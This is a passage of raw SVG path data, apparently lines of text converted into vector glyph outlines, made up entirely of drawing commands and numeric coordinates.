118.274 -50.2216C118.274 -50.892 118.396 -51.483 118.64 -51.9943C118.887 -52.5085 119.231 -52.9091 119.672 -53.196C120.115 -53.4858 120.632 -53.6307 121.223 -53.6307C121.564 -53.6307 121.9 -53.5739 122.233 -53.4602C122.565 -53.3466 122.868 -53.1619 123.14 -52.9062C123.413 -52.6534 123.63 -52.3182 123.792 -51.9006C123.954 -51.483 124.035 -50.9688 124.035 -50.358V-49.9318H118.99V-50.8011H123.012C123.012 -51.1705 122.939 -51.5 122.791 -51.7898C122.646 -52.0795 122.439 -52.3082 122.169 -52.4759C121.902 -52.6435 121.586 -52.7273 121.223 -52.7273C120.822 -52.7273 120.475 -52.6278 120.183 -52.429C119.893 -52.233 119.67 -51.9773 119.514 -51.6619C119.358 -51.3466 119.279 -51.0085 119.279 -50.6477V-50.0682C119.279 -49.5739 119.365 -49.1548 119.535 -48.8111C119.708 -48.4702 119.949 -48.2102 120.255 -48.0312C120.562 -47.8551 120.919 -47.767 121.325 -47.767C121.589 -47.767 121.828 -47.804 122.041 -47.8778C122.257 -47.9545 122.443 -48.0682 122.599 -48.2188C122.755 -48.3722 122.876 -48.5625 122.961 -48.7898L123.933 -48.517C123.831 -48.1875 123.659 -47.8977 123.417 -47.6477C123.176 -47.4006 122.877 -47.2074 122.522 -47.0682C122.167 -46.9318 121.768 -46.8636 121.325 -46.8636ZM17.9261 -32.9375V-29H16.9205V-37.7273H17.9261V-34.5227H18.0114C18.1648 -34.8608 18.3949 -35.1293 18.7017 -35.3281C19.0114 -35.5298 19.4233 -35.6307 19.9375 -35.6307C20.3835 -35.6307 20.7741 -35.5412 21.1094 -35.3622C21.4446 -35.1861 21.7045 -34.9148 21.8892 -34.5483C22.0767 -34.1847 22.1705 -33.7216 22.1705 -33.1591V-29H21.1648V-33.0909C21.1648 -33.6108 21.0298 -34.0128 20.7599 -34.2969C20.4929 -34.5838 20.1222 -34.7273 19.6477 -34.7273C19.3182 -34.7273 19.0227 -34.6577 18.7614 -34.5185C18.5028 -34.3793 18.2983 -34.1761 18.1477 -33.9091C18 -33.642 17.9261 -33.3182 17.9261 -32.9375ZM28.1353 -31.6761V-35.5455H29.141V-29H28.1353V-30.108H28.0671C27.9137 -29.7756 27.6751 -29.4929 27.3512 -29.2599C27.0273 -29.0298 26.6183 -28.9148 26.1239 -28.9148C25.7148 -28.9148 25.3512 -29.0043 25.033 -29.1832C24.7148 -29.3651 24.4648 -29.6378 24.283 -30.0014C24.1012 -30.3679 24.0103 -30.8295 24.0103 -31.3864V-35.5455H25.016V-31.4545C25.016 -30.9773 25.1495 -30.5966 25.4165 -30.3125C25.6864 -30.0284 26.0302 -29.8864 26.4478 -29.8864C26.6978 -29.8864 26.9521 -29.9503 27.2106 -30.0781C27.4719 -30.206 27.6907 -30.402 27.8668 -30.6662C28.0458 -30.9304 28.1353 -31.267 28.1353 -31.6761ZM35.6193 -34.0795L34.7159 -33.8239C34.6591 -33.9744 34.5753 -34.1207 34.4645 -34.2628C34.3565 -34.4077 34.2088 -34.527 34.0213 -34.6207C33.8338 -34.7145 33.5938 -34.7614 33.3011 -34.7614C32.9006 -34.7614 32.5668 -34.669 32.2997 -34.4844C32.0355 -34.3026 31.9034 -34.071 31.9034 -33.7898C31.9034 -33.5398 31.9943 -33.3423 32.1761 -33.1974C32.358 -33.0526 32.642 -32.9318 33.0284 -32.8352L34 -32.5966C34.5852 -32.4545 35.0213 -32.2372 35.3082 -31.9446C35.5952 -31.6548 35.7386 -31.2813 35.7386 -30.8239C35.7386 -30.4489 35.6307 -30.1136 35.4148 -29.8182C35.2017 -29.5227 34.9034 -29.2898 34.5199 -29.1193C34.1364 -28.9489 33.6903 -28.8636 33.1818 -28.8636C32.5142 -28.8636 31.9616 -29.0085 31.5241 -29.2983C31.0866 -29.5881 30.8097 -30.0114 30.6932 -30.5682L31.6477 -30.8068C31.7386 -30.4545 31.9105 -30.1903 32.1634 -30.0142C32.419 -29.8381 32.7528 -29.75 33.1648 -29.75C33.6335 -29.75 34.0057 -29.8494 34.2812 -30.0483C34.5597 -30.25 34.6989 -30.4915 34.6989 -30.7727C34.6989 -31 34.6193 -31.1903 34.4602 -31.3438C34.3011 -31.5 34.0568 -31.6165 33.7273 -31.6932L32.6364 -31.9489C32.0369 -32.0909 31.5966 -32.3111 31.3153 -32.6094C31.0369 -32.9105 30.8977 -33.2869 30.8977 -33.7386C30.8977 -34.108 31.0014 -34.4347 31.2088 -34.7188C31.419 -35.0028 31.7045 -35.2259 32.0653 -35.3878C32.429 -35.5497 32.8409 -35.6307 33.3011 -35.6307C33.9489 -35.6307 34.4574 -35.4886 34.8267 -35.2045C35.1989 -34.9205 35.4631 -34.5455 35.6193 -34.0795ZM40.0991 -35.5455V-34.6932H36.707V-35.5455H40.0991ZM37.6957 -37.1136H38.7013V-30.875C38.7013 -30.5909 38.7425 -30.3778 38.8249 -30.2358C38.9102 -30.0966 39.0181 -30.0028 39.1488 -29.9545C39.2823 -29.9091 39.4229 -29.8864 39.5707 -29.8864C39.6815 -29.8864 39.7724 -29.892 39.8434 -29.9034C39.9144 -29.9176 39.9712 -29.929 40.0138 -29.9375L40.2184 -29.0341C40.1502 -29.0085 40.055 -28.983 39.9329 -28.9574C39.8107 -28.929 39.6559 -28.9148 39.4684 -28.9148C39.1843 -28.9148 38.9059 -28.9759 38.6332 -29.098C38.3633 -29.2202 38.1388 -29.4062 37.9599 -29.6562C37.7837 -29.9062 37.6957 -30.2216 37.6957 -30.6023V-37.1136ZM42.7582 -37.7273V-29H41.7525V-37.7273H42.7582ZM47.3445 -28.8636C46.7138 -28.8636 46.1697 -29.0028 45.7124 -29.2812C45.2578 -29.5625 44.907 -29.9545 44.6598 -30.4574C44.4155 -30.9631 44.2933 -31.5511 44.2933 -32.2216C44.2933 -32.892 44.4155 -33.483 44.6598 -33.9943C44.907 -34.5085 45.2507 -34.9091 45.6911 -35.196C46.1342 -35.4858 46.6513 -35.6307 47.2422 -35.6307C47.5831 -35.6307 47.9197 -35.5739 48.2521 -35.4602C48.5845 -35.3466 48.8871 -35.1619 49.1598 -34.9062C49.4325 -34.6534 49.6499 -34.3182 49.8118 -33.9006C49.9737 -33.483 50.0547 -32.9688 50.0547 -32.358V-31.9318H45.0092V-32.8011H49.032C49.032 -33.1705 48.9581 -33.5 48.8104 -33.7898C48.6655 -34.0795 48.4581 -34.3082 48.1882 -34.4759C47.9212 -34.6435 47.6058 -34.7273 47.2422 -34.7273C46.8416 -34.7273 46.495 -34.6278 46.2024 -34.429C45.9126 -34.233 45.6896 -33.9773 45.5334 -33.6619C45.3771 -33.3466 45.299 -33.0085 45.299 -32.6477V-32.0682C45.299 -31.5739 45.3842 -31.1548 45.5547 -30.8111C45.728 -30.4702 45.968 -30.2102 46.2749 -30.0312C46.5817 -29.8551 46.9382 -29.767 47.3445 -29.767C47.6087 -29.767 47.8473 -29.804 48.0604 -29.8778C48.2763 -29.9545 48.4624 -30.0682 48.6186 -30.2188C48.7749 -30.3722 48.8956 -30.5625 48.9808 -30.7898L49.9524 -30.517C49.8501 -30.1875 49.6783 -29.8977 49.4368 -29.6477C49.1953 -29.4006 48.897 -29.2074 48.5419 -29.0682C48.1868 -28.9318 47.7876 -28.8636 47.3445 -28.8636ZM57.6186 -28.8636C57.0277 -28.8636 56.5092 -29.0043 56.0632 -29.2855C55.62 -29.5668 55.2734 -29.9602 55.0234 -30.4659C54.7763 -30.9716 54.6527 -31.5625 54.6527 -32.2386C54.6527 -32.9205 54.7763 -33.5156 55.0234 -34.0241C55.2734 -34.5327 55.62 -34.9276 56.0632 -35.2088C56.5092 -35.4901 57.0277 -35.6307 57.6186 -35.6307C58.2095 -35.6307 58.7266 -35.4901 59.1697 -35.2088C59.6158 -34.9276 59.9624 -34.5327 60.2095 -34.0241C60.4595 -33.5156 60.5845 -32.9205 60.5845 -32.2386C60.5845 -31.5625 60.4595 -30.9716 60.2095 -30.4659C59.9624 -29.9602 59.6158 -29.5668 59.1697 -29.2855C58.7266 -29.0043 58.2095 -28.8636 57.6186 -28.8636ZM57.6186 -29.767C58.0675 -29.767 58.4368 -29.8821 58.7266 -30.1122C59.0163 -30.3423 59.2308 -30.6449 59.37 -31.0199C59.5092 -31.3949 59.5788 -31.8011 59.5788 -32.2386C59.5788 -32.6761 59.5092 -33.0838 59.37 -33.4616C59.2308 -33.8395 59.0163 -34.1449 58.7266 -34.3778C58.4368 -34.6108 58.0675 -34.7273 57.6186 -34.7273C57.1697 -34.7273 56.8004 -34.6108 56.5107 -34.3778C56.2209 -34.1449 56.0064 -33.8395 55.8672 -33.4616C55.728 -33.0838 55.6584 -32.6761 55.6584 -32.2386C55.6584 -31.8011 55.728 -31.3949 55.8672 -31.0199C56.0064 -30.6449 56.2209 -30.3423 56.5107 -30.1122C56.8004 -29.8821 57.1697 -29.767 57.6186 -29.767ZM62.1197 -29V-35.5455H63.0913V-34.5568H63.1594C63.2788 -34.8807 63.4947 -35.1435 63.8072 -35.3452C64.1197 -35.5469 64.4719 -35.6477 64.864 -35.6477C64.9379 -35.6477 65.0302 -35.6463 65.141 -35.6435C65.2518 -35.6406 65.3356 -35.6364 65.3924 -35.6307V-34.608C65.3583 -34.6165 65.2802 -34.6293 65.158 -34.6463C65.0387 -34.6662 64.9123 -34.6761 64.7788 -34.6761C64.4606 -34.6761 64.1765 -34.6094 63.9265 -34.4759C63.6793 -34.3452 63.4833 -34.1634 63.3384 -33.9304C63.1964 -33.7003 63.1254 -33.4375 63.1254 -33.142V-29H62.1197ZM71.8857 -28.8466C71.4709 -28.8466 71.0945 -28.9247 70.7564 -29.081C70.4183 -29.2401 70.1499 -29.4688 69.951 -29.767C69.7521 -30.0682 69.6527 -30.4318 69.6527 -30.858C69.6527 -31.233 69.7266 -31.5369 69.8743 -31.7699C70.022 -32.0057 70.2195 -32.1903 70.4666 -32.3239C70.7138 -32.4574 70.9865 -32.5568 71.2848 -32.6222C71.5859 -32.6903 71.8885 -32.7443 72.1925 -32.7841C72.5902 -32.8352 72.9126 -32.8736 73.1598 -32.8991C73.4098 -32.9276 73.5916 -32.9744 73.7053 -33.0398C73.8217 -33.1051 73.88 -33.2188 73.88 -33.3807V-33.4148C73.88 -33.8352 73.7649 -34.1619 73.5348 -34.3949C73.3075 -34.6278 72.9624 -34.7443 72.4993 -34.7443C72.0192 -34.7443 71.6428 -34.6392 71.37 -34.429C71.0973 -34.2188 70.9055 -33.9943 70.7947 -33.7557L69.8402 -34.0966C70.0107 -34.4943 70.2379 -34.804 70.522 -35.0256C70.8089 -35.25 71.1214 -35.4063 71.4595 -35.4943C71.8004 -35.5852 72.1357 -35.6307 72.4652 -35.6307C72.6754 -35.6307 72.9169 -35.6051 73.1896 -35.554C73.4652 -35.5057 73.7308 -35.4048 73.9865 -35.2514C74.245 -35.098 74.4595 -34.8665 74.63 -34.5568C74.8004 -34.2472 74.8857 -33.8324 74.8857 -33.3125V-29H73.88V-29.8864H73.8288C73.7607 -29.7443 73.647 -29.5923 73.4879 -29.4304C73.3288 -29.2685 73.1172 -29.1307 72.853 -29.017C72.5888 -28.9034 72.2663 -28.8466 71.8857 -28.8466ZM72.0391 -29.75C72.4368 -29.75 72.772 -29.8281 73.0447 -29.9844C73.3203 -30.1406 73.5277 -30.3423 73.6669 -30.5895C73.8089 -30.8366 73.88 -31.0966 73.88 -31.3693V-32.2898C73.8374 -32.2386 73.7436 -32.1918 73.5987 -32.1491C73.4567 -32.1094 73.2919 -32.0739 73.1044 -32.0426C72.9197 -32.0142 72.7393 -31.9886 72.5632 -31.9659C72.3899 -31.946 72.2493 -31.929 72.1413 -31.9148C71.88 -31.8807 71.6357 -31.8253 71.4084 -31.7486C71.1839 -31.6747 71.0021 -31.5625 70.8629 -31.4119C70.7266 -31.2642 70.6584 -31.0625 70.6584 -30.8068C70.6584 -30.4574 70.7876 -30.1932 71.0462 -30.0142C71.3075 -29.8381 71.6385 -29.75 72.0391 -29.75ZM83.011 -35.5455V-34.6932H79.4826V-35.5455H83.011ZM80.5394 -29V-36.4489C80.5394 -36.8239 80.6275 -37.1364 80.8036 -37.3864C80.9798 -37.6364 81.2085 -37.8239 81.4897 -37.9489C81.771 -38.0739 82.0678 -38.1364 82.3803 -38.1364C82.6275 -38.1364 82.8292 -38.1165 82.9854 -38.0767C83.1417 -38.0369 83.2582 -38 83.3349 -37.9659L83.0451 -37.0966C82.994 -37.1136 82.9229 -37.1349 82.832 -37.1605C82.744 -37.1861 82.6275 -37.1989 82.4826 -37.1989C82.1502 -37.1989 81.9102 -37.1151 81.7624 -36.9474C81.6175 -36.7798 81.5451 -36.5341 81.5451 -36.2102V-29H80.5394ZM88.5455 -31.6761V-35.5455H89.5511V-29H88.5455V-30.108H88.4773C88.3239 -29.7756 88.0852 -29.4929 87.7614 -29.2599C87.4375 -29.0298 87.0284 -28.9148 86.5341 -28.9148C86.125 -28.9148 85.7614 -29.0043 85.4432 -29.1832C85.125 -29.3651 84.875 -29.6378 84.6932 -30.0014C84.5114 -30.3679 84.4205 -30.8295 84.4205 -31.3864V-35.5455H85.4261V-31.4545C85.4261 -30.9773 85.5597 -30.5966 85.8267 -30.3125C86.0966 -30.0284 86.4403 -29.8864 86.858 -29.8864C87.108 -29.8864 87.3622 -29.9503 87.6207 -30.0781C87.8821 -30.206 88.1009 -30.402 88.277 -30.6662C88.456 -30.9304 88.5455 -31.267 88.5455 -31.6761ZM92.3988 -37.7273V-29H91.3931V-37.7273H92.3988ZM95.2464 -37.7273V-29H94.2408V-37.7273H95.2464ZM100.838 -33.2102V-32.2727H97.0202V-33.2102H100.838ZM105.455 -35.5455V-34.6932H102.062V-35.5455H105.455ZM103.051 -37.1136H104.057V-30.875C104.057 -30.5909 104.098 -30.3778 104.18 -30.2358C104.266 -30.0966 104.374 -30.0028 104.504 -29.9545C104.638 -29.9091 104.778 -29.8864 104.926 -29.8864C105.037 -29.8864 105.128 -29.892 105.199 -29.9034C105.27 -29.9176 105.327 -29.929 105.369 -29.9375L105.574 -29.0341C105.506 -29.0085 105.411 -28.983 105.288 -28.9574C105.166 -28.929 105.011 -28.9148 104.824 -28.9148C104.54 -28.9148 104.261 -28.9759 103.989 -29.098C103.719 -29.2202 103.494 -29.4062 103.315 -29.6562C103.139 -29.9062 103.051 -30.2216 103.051 -30.6023V-37.1136ZM106.967 -29V-35.5455H107.973V-29H106.967ZM107.479 -36.6364C107.283 -36.6364 107.114 -36.7031 106.972 -36.8366C106.832 -36.9702 106.763 -37.1307 106.763 -37.3182C106.763 -37.5057 106.832 -37.6662 106.972 -37.7997C107.114 -37.9332 107.283 -38 107.479 -38C107.675 -38 107.842 -37.9332 107.982 -37.7997C108.124 -37.6662 108.195 -37.5057 108.195 -37.3182C108.195 -37.1307 108.124 -36.9702 107.982 -36.8366C107.842 -36.7031 107.675 -36.6364 107.479 -36.6364ZM109.815 -29V-35.5455H110.787V-34.5227H110.872C111.008 -34.8722 111.228 -35.1435 111.532 -35.3366C111.836 -35.5327 112.201 -35.6307 112.627 -35.6307C113.059 -35.6307 113.419 -35.5327 113.706 -35.3366C113.995 -35.1435 114.221 -34.8722 114.383 -34.5227H114.451C114.619 -34.8608 114.87 -35.1293 115.206 -35.3281C115.541 -35.5298 115.943 -35.6307 116.412 -35.6307C116.997 -35.6307 117.475 -35.4474 117.848 -35.081C118.22 -34.7173 118.406 -34.1506 118.406 -33.3807V-29H117.4V-33.3807C117.4 -33.8636 117.268 -34.2088 117.004 -34.4162C116.74 -34.6236 116.429 -34.7273 116.071 -34.7273C115.61 -34.7273 115.254 -34.5881 115.001 -34.3097C114.748 -34.0341 114.622 -33.6847 114.622 -33.2614V-29H113.599V-33.483C113.599 -33.8551 113.478 -34.1548 113.237 -34.3821C112.995 -34.6122 112.684 -34.7273 112.304 -34.7273C112.042 -34.7273 111.798 -34.6577 111.571 -34.5185C111.346 -34.3793 111.164 -34.1861 111.025 -33.9389C110.889 -33.6946 110.821 -33.4119 110.821 -33.0909V-29H109.815ZM122.989 -28.8636C122.358 -28.8636 121.814 -29.0028 121.357 -29.2812C120.902 -29.5625 120.551 -29.9545 120.304 -30.4574C120.06 -30.9631 119.938 -31.5511 119.938 -32.2216C119.938 -32.892 120.06 -33.483 120.304 -33.9943C120.551 -34.5085 120.895 -34.9091 121.336 -35.196C121.779 -35.4858 122.296 -35.6307 122.887 -35.6307C123.228 -35.6307 123.564 -35.5739 123.897 -35.4602C124.229 -35.3466 124.532 -35.1619 124.804 -34.9062C125.077 -34.6534 125.294 -34.3182 125.456 -33.9006C125.618 -33.483 125.699 -32.9688 125.699 -32.358V-31.9318H120.654V-32.8011H124.676C124.676 -33.1705 124.603 -33.5 124.455 -33.7898C124.31 -34.0795 124.103 -34.3082 123.833 -34.4759C123.566 -34.6435 123.25 -34.7273 122.887 -34.7273C122.486 -34.7273 122.14 -34.6278 121.847 -34.429C121.557 -34.233 121.334 -33.9773 121.178 -33.6619C121.022 -33.3466 120.944 -33.0085 120.944 -32.6477V-32.0682C120.944 -31.5739 121.029 -31.1548 121.199 -30.8111C121.373 -30.4702 121.613 -30.2102 121.919 -30.0312C122.226 -29.8551 122.583 -29.767 122.989 -29.767C123.253 -29.767 123.492 -29.804 123.705 -29.8778C123.921 -29.9545 124.107 -30.0682 124.263 -30.2188C124.419 -30.3722 124.54 -30.5625 124.625 -30.7898L125.597 -30.517C125.495 -30.1875 125.323 -29.8977 125.081 -29.6477C124.84 -29.4006 124.542 -29.2074 124.186 -29.0682C123.831 -28.9318 123.432 -28.8636 122.989 -28.8636ZM16.9205 -8.54545V-17.5455H17.892V-16.5057H18.0114C18.0852 -16.6193 18.1875 -16.7642 18.3182 -16.9403C18.4517 -17.1193 18.642 -17.2784 18.8892 -17.4176C19.1392 -17.5597 19.4773 -17.6307 19.9034 -17.6307C20.4545 -17.6307 20.9403 -17.4929 21.3608 -17.2173C21.7813 -16.9418 22.1094 -16.5511 22.3452 -16.0455C22.581 -15.5398 22.6989 -14.9432 22.6989 -14.2557C22.6989 -13.5625 22.581 -12.9616 22.3452 -12.4531C22.1094 -11.9474 21.7827 -11.5554 21.3651 -11.277C20.9474 -11.0014 20.4659 -10.8636 19.9205 -10.8636C19.5 -10.8636 19.1634 -10.9332 18.9105 -11.0724C18.6577 -11.2145 18.4631 -11.375 18.3267 -11.554C18.1903 -11.7358 18.0852 -11.8864 18.0114 -12.0057H17.9261V-8.54545H16.9205ZM17.9091 -14.2727C17.9091 -13.7784 17.9815 -13.3423 18.1264 -12.9645C18.2713 -12.5895 18.483 -12.2955 18.7614 -12.0824C19.0398 -11.8722 19.3807 -11.767 19.7841 -11.767C20.2045 -11.767 20.5554 -11.8778 20.8366 -12.0994C21.1207 -12.3239 21.3338 -12.625 21.4759 -13.0028C21.6207 -13.3835 21.6932 -13.8068 21.6932 -14.2727C21.6932 -14.733 21.6222 -15.1477 21.4801 -15.517C21.3409 -15.8892 21.1293 -16.1832 20.8452 -16.3991C20.5639 -16.6179 20.2102 -16.7273 19.7841 -16.7273C19.375 -16.7273 19.0313 -16.6236 18.7528 -16.4162C18.4744 -16.2116 18.2642 -15.9247 18.1222 -15.5554C17.9801 -15.1889 17.9091 -14.7614 17.9091 -14.2727ZM28.358 -13.6761V-17.5455H29.3636V-11H28.358V-12.108H28.2898C28.1364 -11.7756 27.8977 -11.4929 27.5739 -11.2599C27.25 -11.0298 26.8409 -10.9148 26.3466 -10.9148C25.9375 -10.9148 25.5739 -11.0043 25.2557 -11.1832C24.9375 -11.3651 24.6875 -11.6378 24.5057 -12.0014C24.3239 -12.3679 24.233 -12.8295 24.233 -13.3864V-17.5455H25.2386V-13.4545C25.2386 -12.9773 25.3722 -12.5966 25.6392 -12.3125C25.9091 -12.0284 26.2528 -11.8864 26.6705 -11.8864C26.9205 -11.8864 27.1747 -11.9503 27.4332 -12.0781C27.6946 -12.206 27.9134 -12.402 28.0895 -12.6662C28.2685 -12.9304 28.358 -13.267 28.358 -13.6761ZM31.2056 -11V-17.5455H32.1772V-16.5568H32.2454C32.3647 -16.8807 32.5806 -17.1435 32.8931 -17.3452C33.2056 -17.5469 33.5579 -17.6477 33.9499 -17.6477C34.0238 -17.6477 34.1161 -17.6463 34.2269 -17.6435C34.3377 -17.6406 34.4215 -17.6364 34.4783 -17.6307V-16.608C34.4442 -16.6165 34.3661 -16.6293 34.244 -16.6463C34.1246 -16.6662 33.9982 -16.6761 33.8647 -16.6761C33.5465 -16.6761 33.2624 -16.6094 33.0124 -16.4759C32.7653 -16.3452 32.5692 -16.1634 32.4244 -15.9304C32.2823 -15.7003 32.2113 -15.4375 32.2113 -15.142V-11H31.2056ZM40.3068 -16.0795L39.4034 -15.8239C39.3466 -15.9744 39.2628 -16.1207 39.152 -16.2628C39.044 -16.4077 38.8963 -16.527 38.7088 -16.6207C38.5213 -16.7145 38.2812 -16.7614 37.9886 -16.7614C37.5881 -16.7614 37.2543 -16.669 36.9872 -16.4844C36.723 -16.3026 36.5909 -16.071 36.5909 -15.7898C36.5909 -15.5398 36.6818 -15.3423 36.8636 -15.1974C37.0455 -15.0526 37.3295 -14.9318 37.7159 -14.8352L38.6875 -14.5966C39.2727 -14.4545 39.7088 -14.2372 39.9957 -13.9446C40.2827 -13.6548 40.4261 -13.2813 40.4261 -12.8239C40.4261 -12.4489 40.3182 -12.1136 40.1023 -11.8182C39.8892 -11.5227 39.5909 -11.2898 39.2074 -11.1193C38.8239 -10.9489 38.3778 -10.8636 37.8693 -10.8636C37.2017 -10.8636 36.6491 -11.0085 36.2116 -11.2983C35.7741 -11.5881 35.4972 -12.0114 35.3807 -12.5682L36.3352 -12.8068C36.4261 -12.4545 36.598 -12.1903 36.8509 -12.0142C37.1065 -11.8381 37.4403 -11.75 37.8523 -11.75C38.321 -11.75 38.6932 -11.8494 38.9688 -12.0483C39.2472 -12.25 39.3864 -12.4915 39.3864 -12.7727C39.3864 -13 39.3068 -13.1903 39.1477 -13.3438C38.9886 -13.5 38.7443 -13.6165 38.4148 -13.6932L37.3239 -13.9489C36.7244 -14.0909 36.2841 -14.3111 36.0028 -14.6094C35.7244 -14.9105 35.5852 -15.2869 35.5852 -15.7386C35.5852 -16.108 35.6889 -16.4347 35.8963 -16.7188C36.1065 -17.0028 36.392 -17.2259 36.7528 -17.3878C37.1165 -17.5497 37.5284 -17.6307 37.9886 -17.6307C38.6364 -17.6307 39.1449 -17.4886 39.5142 -17.2045C39.8864 -16.9205 40.1506 -16.5455 40.3068 -16.0795ZM46.065 -13.6761V-17.5455H47.0707V-11H46.065V-12.108H45.9968C45.8434 -11.7756 45.6048 -11.4929 45.2809 -11.2599C44.957 -11.0298 44.5479 -10.9148 44.0536 -10.9148C43.6445 -10.9148 43.2809 -11.0043 42.9627 -11.1832C42.6445 -11.3651 42.3945 -11.6378 42.2127 -12.0014C42.0309 -12.3679 41.94 -12.8295 41.94 -13.3864V-17.5455H42.9457V-13.4545C42.9457 -12.9773 43.0792 -12.5966 43.3462 -12.3125C43.6161 -12.0284 43.9599 -11.8864 44.3775 -11.8864C44.6275 -11.8864 44.8817 -11.9503 45.1403 -12.0781C45.4016 -12.206 45.6204 -12.402 45.7965 -12.6662C45.9755 -12.9304 46.065 -13.267 46.065 -13.6761ZM48.9126 -11V-17.5455H49.9183V-11H48.9126ZM49.424 -18.6364C49.228 -18.6364 49.0589 -18.7031 48.9169 -18.8366C48.7777 -18.9702 48.7081 -19.1307 48.7081 -19.3182C48.7081 -19.5057 48.7777 -19.6662 48.9169 -19.7997C49.0589 -19.9332 49.228 -20 49.424 -20C49.62 -20 49.7876 -19.9332 49.9268 -19.7997C50.0689 -19.6662 50.1399 -19.5057 50.1399 -19.3182C50.1399 -19.1307 50.0689 -18.9702 49.9268 -18.8366C49.7876 -18.7031 49.62 -18.6364 49.424 -18.6364ZM54.6069 -17.5455V-16.6932H51.2148V-17.5455H54.6069ZM52.2035 -19.1136H53.2092V-12.875C53.2092 -12.5909 53.2504 -12.3778 53.3327 -12.2358C53.418 -12.0966 53.5259 -12.0028 53.6566 -11.9545C53.7901 -11.9091 53.9308 -11.8864 54.0785 -11.8864C54.1893 -11.8864 54.2802 -11.892 54.3512 -11.9034C54.4222 -11.9176 54.479 -11.929 54.5217 -11.9375L54.7262 -11.0341C54.658 -11.0085 54.5629 -10.983 54.4407 -10.9574C54.3185 -10.929 54.1637 -10.9148 53.9762 -10.9148C53.6921 -10.9148 53.4137 -10.9759 53.141 -11.098C52.8711 -11.2202 52.6467 -11.4062 52.4677 -11.6562C52.2915 -11.9062 52.2035 -12.2216 52.2035 -12.6023V-19.1136ZM57.6197 -12.1932L57.5515 -11.733C57.5032 -11.4091 57.4293 -11.0625 57.3299 -10.6932C57.2333 -10.3239 57.1325 -9.97585 57.0273 -9.64915C56.9222 -9.32244 56.8356 -9.0625 56.7674 -8.86932H56.0004C56.0373 -9.05114 56.0856 -9.29119 56.1452 -9.58949C56.2049 -9.88778 56.2646 -10.2216 56.3242 -10.5909C56.3867 -10.9574 56.4379 -11.3324 56.4776 -11.7159L56.5288 -12.1932H57.6197ZM62.9943 -11V-19.7273H64V-16.5057H64.0852C64.1591 -16.6193 64.2614 -16.7642 64.392 -16.9403C64.5256 -17.1193 64.7159 -17.2784 64.9631 -17.4176C65.2131 -17.5597 65.5511 -17.6307 65.9773 -17.6307C66.5284 -17.6307 67.0142 -17.4929 67.4347 -17.2173C67.8551 -16.9418 68.1832 -16.5511 68.419 -16.0455C68.6548 -15.5398 68.7727 -14.9432 68.7727 -14.2557C68.7727 -13.5625 68.6548 -12.9616 68.419 -12.4531C68.1832 -11.9474 67.8565 -11.5554 67.4389 -11.277C67.0213 -11.0014 66.5398 -10.8636 65.9943 -10.8636C65.5739 -10.8636 65.2372 -10.9332 64.9844 -11.0724C64.7315 -11.2145 64.5369 -11.375 64.4006 -11.554C64.2642 -11.7358 64.1591 -11.8864 64.0852 -12.0057H63.9659V-11H62.9943ZM63.983 -14.2727C63.983 -13.7784 64.0554 -13.3423 64.2003 -12.9645C64.3452 -12.5895 64.5568 -12.2955 64.8352 -12.0824C65.1136 -11.8722 65.4545 -11.767 65.858 -11.767C66.2784 -11.767 66.6293 -11.8778 66.9105 -12.0994C67.1946 -12.3239 67.4077 -12.625 67.5497 -13.0028C67.6946 -13.3835 67.767 -13.8068 67.767 -14.2727C67.767 -14.733 67.696 -15.1477 67.554 -15.517C67.4148 -15.8892 67.2031 -16.1832 66.919 -16.3991C66.6378 -16.6179 66.2841 -16.7273 65.858 -16.7273C65.4489 -16.7273 65.1051 -16.6236 64.8267 -16.4162C64.5483 -16.2116 64.3381 -15.9247 64.196 -15.5554C64.054 -15.1889 63.983 -14.7614 63.983 -14.2727ZM73.0554 -10.8636C72.4247 -10.8636 71.8807 -11.0028 71.4233 -11.2812C70.9688 -11.5625 70.6179 -11.9545 70.3707 -12.4574C70.1264 -12.9631 70.0043 -13.5511 70.0043 -14.2216C70.0043 -14.892 70.1264 -15.483 70.3707 -15.9943C70.6179 -16.5085 70.9616 -16.9091 71.402 -17.196C71.8452 -17.4858 72.3622 -17.6307 72.9531 -17.6307C73.294 -17.6307 73.6307 -17.5739 73.9631 -17.4602C74.2955 -17.3466 74.598 -17.1619 74.8707 -16.9062C75.1435 -16.6534 75.3608 -16.3182 75.5227 -15.9006C75.6847 -15.483 75.7656 -14.9688 75.7656 -14.358V-13.9318H70.7202V-14.8011H74.7429C74.7429 -15.1705 74.669 -15.5 74.5213 -15.7898C74.3764 -16.0795 74.169 -16.3082 73.8991 -16.4759C73.6321 -16.6435 73.3168 -16.7273 72.9531 -16.7273C72.5526 -16.7273 72.206 -16.6278 71.9134 -16.429C71.6236 -16.233 71.4006 -15.9773 71.2443 -15.6619C71.0881 -15.3466 71.0099 -15.0085 71.0099 -14.6477V-14.0682C71.0099 -13.5739 71.0952 -13.1548 71.2656 -12.8111C71.4389 -12.4702 71.679 -12.2102 71.9858 -12.0312C72.2926 -11.8551 72.6491 -11.767 73.0554 -11.767C73.3196 -11.767 73.5582 -11.804 73.7713 -11.8778C73.9872 -11.9545 74.1733 -12.0682 74.3295 -12.2188C74.4858 -12.3722 74.6065 -12.5625 74.6918 -12.7898L75.6634 -12.517C75.5611 -12.1875 75.3892 -11.8977 75.1477 -11.6477C74.9063 -11.4006 74.608 -11.2074 74.2528 -11.0682C73.8977 -10.9318 73.4986 -10.8636 73.0554 -10.8636ZM77.2955 -11V-17.5455H78.3011V-11H77.2955ZM77.8068 -18.6364C77.6108 -18.6364 77.4418 -18.7031 77.2997 -18.8366C77.1605 -18.9702 77.0909 -19.1307 77.0909 -19.3182C77.0909 -19.5057 77.1605 -19.6662 77.2997 -19.7997C77.4418 -19.9332 77.6108 -20 77.8068 -20C78.0028 -20 78.1705 -19.9332 78.3097 -19.7997C78.4517 -19.6662 78.5227 -19.5057 78.5227 -19.3182C78.5227 -19.1307 78.4517 -18.9702 78.3097 -18.8366C78.1705 -18.7031 78.0028 -18.6364 77.8068 -18.6364ZM81.1488 -14.9375V-11H80.1431V-17.5455H81.1147V-16.5227H81.1999C81.3533 -16.8551 81.5863 -17.1222 81.8988 -17.3239C82.2113 -17.5284 82.6147 -17.6307 83.109 -17.6307C83.5522 -17.6307 83.94 -17.5398 84.2724 -17.358C84.6048 -17.179 84.8633 -16.9062 85.0479 -16.5398C85.2326 -16.1761 85.3249 -15.7159 85.3249 -15.1591V-11H84.3192V-15.0909C84.3192 -15.6051 84.1857 -16.0057 83.9187 -16.2926C83.6516 -16.5824 83.2852 -16.7273 82.8192 -16.7273C82.4982 -16.7273 82.2113 -16.6577 81.9585 -16.5185C81.7085 -16.3793 81.511 -16.1761 81.3661 -15.9091C81.2212 -15.642 81.1488 